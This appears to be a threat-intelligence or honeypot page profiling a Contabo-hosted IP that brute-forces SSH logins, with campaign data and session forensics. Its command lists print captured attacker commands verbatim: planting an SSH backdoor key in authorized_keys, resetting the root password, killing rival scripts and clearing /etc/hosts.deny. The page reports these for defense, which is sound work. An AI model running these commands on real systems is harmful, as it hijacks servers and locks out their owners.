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Why: Our sensors observed credential harvester sessions · certainty: inferred
vmi1691969.contaboserver.net
(contaboserver.net)
✓ FCrDNS
Assessment
SSH password brute-forcer
- Logged in with 7 different credentials across 11 logins.
- Downloaded 7 files and ran 35 commands on the host.
- Runs the same SSH client fingerprint (HASSH) as 553 other IPs.
Generated from the counts on this page by fixed rules; each line cites the number it rests on.
Location
🇫🇷 FR / Lauterbourg
ASN
AS51167 · Contabo GmbH
Cloud Provider
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Total Events
248
Above average by volume
Agent Count
1
First / Last Seen
2026-10-12 09:18 — 2026-10-12 09:52
Attack Types
MITRE ATT&CK Techniques
Initial Access
Defense Evasion
Command and Control
External Corroboration
Not flagged by any external feeds
Campaigns
HASSH f555226df196… — SSH-2.0-libssh_0.9.6 (554 IPs, 70 countries)
HASSH
Active
high
🇺🇸 US
554 IPs
825577 events
smtp:relayssh:bruteforcessh:connectionssh:intrusionssh:malwaressh:proxy-abuse
2026-02-25 — ongoing · 554 IPs are running an identical SSH client (HASSH fingerprint f555226df196…). Top network: Microsoft Corporation (AS8075). Geographic and …
AS51167 Contabo GmbH
ASN
Active
medium
🇫🇷 FR
5 IPs
632 events
http:scanssh:bruteforcessh:connectionssh:intrusionssh:malwaretelnet:bruteforcetelnet:intrusion
2026-02-18 — ongoing · 5 IPs from the same network (Contabo GmbH, AS51167) were active during overlapping time periods. Temporal correlation across …
Session Forensics
Sessions
30 (11 with login)
Avg Depth Score
0.41
Commands Executed
35
Files Downloaded
7
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
- cat /proc/cpuinfo | grep name | wc -l
- echo "root:ScEXnwUvSFhk"|chpasswd|bash
- rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
- cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
- free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
- ls -lh $(which ls)
- which ls
Fingerprints
1 SSH client banner · 1 HASSH fingerprint
HASSH
SSH Client
Evidence Timeline
Malware Dropper
f0aed02592cb
LOGIN
3
1
1
100%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
5902f4e94d26
LOGIN
1
50%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Opportunistic Bruter
61aa0bf8b07f
LOGIN
1
50%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
6b238e3156f7
LOGIN
3
1
1
100%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
b8e84c1d2e2a
LOGIN
3
1
1
100%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
dfb7313c81a4
LOGIN
1
50%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Scanner
99c0d736720f
15%
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SSH-2.0-libssh_0.9.6
Opportunistic Bruter
bb9981293f19
LOGIN
1
50%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
7005b9533472
LOGIN
3
1
1
100%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
9680e23dfccb
LOGIN
20
2
1
100%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…$ cat /proc/cpuinfo | grep name | wc -l$ echo "root:ScEXnwUvSFhk"|chpasswd|bash
Opportunistic Bruter
e2033ee16d40
LOGIN
1
50%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
f4989161e257
LOGIN
3
1
1
100%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…